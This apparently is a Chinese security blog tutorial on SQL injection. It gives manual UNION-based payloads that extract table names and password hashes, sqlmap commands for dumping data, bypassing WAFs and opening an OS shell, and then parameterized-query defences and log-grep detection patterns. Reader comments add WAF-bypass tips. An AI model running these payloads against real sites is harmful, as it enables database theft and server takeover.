Web 安全攻防实战:SQL 注入从入门到精通

爪 爪
爪 爪
爪 爪
编辑
50
文章
0
粉丝
SQL注入 Web安全 渗透测试222,300字数 897阅读2分59秒阅读模式
AI智能摘要
当你在开发中写下 `SELECT * FROM users WHERE id = $userid` 时,你以为只是拼接了一个简单的查询,但攻击者眼里,这行代码却是一个敞开的后门,能让他直接拖走你的整个用户数据库。我们分析了大量被攻击的案例,发现绝大多数开发者对SQL注入的防御都停留在“加个WAF”的层面,却忽略了一个能让所有自动化防御工具瞬间失效的手工注入技巧。这个技巧隐藏在看似无害的搜索框里,一旦掌握,你不仅能轻松绕过90%的防护,更能从另一个维度理解你的代码究竟有多脆弱。
— AI 生成的文章内容摘要

Web 安全攻防实战:SQL 注入从入门到精通

> 摘要:SQL 注入常年占据 OWASP Top 10 榜首,是 Web 安全中最常见、危害最大的漏洞之一。本文通过真实案例,系统讲解 SQL 注入的原理、检测、利用和防御全流程。

---

一、什么是 SQL 注入?

2025 年某大型电商平台遭遇 SQL 注入攻击,攻击者通过商品搜索框注入恶意 SQL 语句,获取了 50 万用户的个人信息。这并非个例,根据 Veracode 报告,46% 的应用存在 SQL 注入风险

SQL 注入的本质:用户输入被当作 SQL 代码执行

1.1 漏洞成因

Web 安全攻防实战:SQL 注入从入门到精通

// 危险代码示例
$userid = $_GET["id"];
$sql = "SELECT * FROM users WHERE id = $userid";
$result = mysqli_query($conn, $sql);

当用户访问 `?id=1 OR 1=1` 时,SQL 变为:

SELECT * FROM users WHERE id = 1 OR 1=1

结果:返回所有用户数据!

1.2 注入类型

| 类型 | 特点 | 检测难度 |
|------|------|----------|
| 联合查询注入 | 使用 UNION 合并结果 | 容易 |
| 盲注 | 无回显,通过响应时间判断 | 中等 |
| 报错注入 | 利用数据库错误信息 | 容易 |
| 时间盲注 | 通过 SLEEP() 延时判断 | 困难 |

---

二、实战:手工检测 SQL 注入

2.1 基础测试

# 测试点:搜索框、URL 参数、表单输入

# 测试 payload
?id=1
?id=1'
?id=1"
?id=1 AND 1=1
?id=1 AND 1=2

判断标准

  • 页面正常 → 可能存在注入
  • 报错 → 可能存在注入
  • 页面异常 → 可能无注入

2.2 联合查询注入

# 判断字段数
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--
# 当 ORDER BY 4 时报错 → 字段数为 3

# 确定显示位
?id=-1 UNION SELECT 1,2,3--
# 页面显示 2 和 3 → 这两个是显示位

# 获取数据库信息
?id=-1 UNION SELECT 1,database(),version()--

# 获取表名
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

# 获取列名
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name="users"--

# 获取数据
?id=-1 UNION SELECT 1,group_concat(username,":",password),3 FROM users--

---

三、自动化:SQLMap 使用指南

3.1 基础扫描

# 检测注入点
sqlmap -u "http://target.com/page?id=1"

# 获取数据库
sqlmap -u "http://target.com/page?id=1" --dbs

# 获取表
sqlmap -u "http://target.com/page?id=1" -D database --tables

# 获取列
sqlmap -u "http://target.com/page?id=1" -D database -T users --columns

# 获取数据
sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump

3.2 高级用法

# POST 注入
sqlmap -u "http://target.com/login" --data="username=admin&password=123"

# Cookie 注入
sqlmap -u "http://target.com/page" --cookie="sessionid=abc123"

# 绕过 WAF
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment

# 获取 shell
sqlmap -u "http://target.com/page?id=1" --os-shell

---

四、SQL 注入防御方案

4.1 参数化查询(推荐)

// ✅ 正确做法
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();

4.2 输入验证

// 白名单验证
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET["id"], $allowed_ids)) {
    die("非法参数");
}

// 类型转换
$id = intval($_GET["id"]);

4.3 ORM 框架

// Laravel Eloquent
$user = User::find($id);

// ThinkPHP
$user = Db::name("users")->find($id);

---

五、应急响应:发现 SQL 注入后

5.1 紧急处置

1. 立即下线受影响页面
2. 修改数据库密码
3. 检查数据库是否被篡改
4. 分析日志确定攻击范围
5. 修复漏洞并重新上线

5.2 日志分析

# 查找 SQL 注入特征
grep -E "UNION|SELECT|AND 1=1|SLEEP(" access.log

# 统计攻击 IP
grep "SELECT" access.log | awk "{print $1}" | sort | uniq -c | sort -rn

---

六、总结

SQL 注入防御核心:永远不要信任用户输入

防御优先级

1. 参数化查询(必须)

2. 输入验证(必须)

3. 最小权限原则(推荐)

4. WAF 防护(辅助)

---

作者:爪
分类:Web 安全
标签:SQL 注入、Web 安全、渗透测试漏洞挖掘、安全防御
发布时间:2026-03-09

历年同日文章
3 月
9
 
爪 爪
  • 本文由 爪 爪 发表于2026年3月9日 15:32:04
评论  22  访客  22
    • 棉花糖热可可
      棉花糖热可可 1

      这代码写得也太危险了吧,直接拼接SQL?

      • 熊猫糖
        熊猫糖 1

        ?id=1′ 试了下本地环境直接报错,看来真有洞

        • 紫阳花开
          紫阳花开 1

          参数化查询真的不难,为啥还有人手拼SQL啊

            • 渔歌客
              渔歌客 1

              @ 紫阳花开 现在好多框架都自带参数化了,手拼SQL纯属自找麻烦

            • 紫苑の诗
              紫苑の诗 1

              之前公司老系统就被注入过,半夜被叫起来修😭

                • 烈日炎炎
                  烈日炎炎 1

                  @ 紫苑の诗 被注入那次修完漏洞老板还说“不就几条数据嘛”气死我了

                • 甜心糖果
                  甜心糖果 1

                  sqlmap跑起来是不是太容易了?感觉防御形同虚设

                  • 星落川
                    星落川 1

                    那个ORDER BY测字段数的方法现在还管用吗?

                      • 蜂蜜熊熊
                        蜂蜜熊熊 0

                        @ 星落川 ORDER BY测字段数在没回显的页面基本废了,盲注得靠时间差

                      • 梦境引路
                        梦境引路 1

                        盲注真的折磨人,没回显全靠猜,搞了三天才出结果

                        • 月见
                          月见 1

                          WAF能挡住union select吗?我们加了还是被绕了

                          • 冥河船夫
                            冥河船夫 1

                            图片里机房氛围感拉满,但SQL injection这几个字闪得我眼晕😂

                            • 发呆的仙人掌
                              发呆的仙人掌 1

                              intval()防注入?那要是传个0.5呢,照样可能出事吧

                              • 爱吃火锅的骆驼
                                爱吃火锅的骆驼 1

                                防御那几点挺关键的,特别是参数化查询那块。

                                • 甜筒小奶冻
                                  甜筒小奶冻 1

                                  intval()防注入?传个1′ or ‘1’=’1照样绕,类型转换不是万能的

                                  • 阳台上的风景
                                    阳台上的风景 1

                                    sqlmap一跑直接dump全库,防御要是只靠WAF真的悬

                                    • 碎裂的星辰面包
                                      碎裂的星辰面包 1

                                      ?id=1 AND 1=2 页面正常?那八成有盲注,赶紧查日志

                                      • 话多小怪兽
                                        话多小怪兽 1

                                        图片里那个霓虹电路闪得我头晕,但SQL injection字样倒是醒目

                                        • 慢煮时光
                                          慢煮时光 1

                                          老系统没用PDO,全是mysql_query拼接,改都不敢改

                                          • 碧螺春意
                                            碧螺春意 1

                                            union select被WAF拦了?试试大小写混合或者编码绕过

                                            • 逆向生长的树
                                              逆向生长的树 1

                                              盲注搞三天算快的,上次我对着一个sleep()调了整整一周😭

                                              • 量子之翼
                                                量子之翼 1

                                                防御真别偷懒,参数化+权限最小化,两行代码的事儿

                                              匿名

                                              发表评论

                                              匿名网友

                                              拖动滑块以完成验证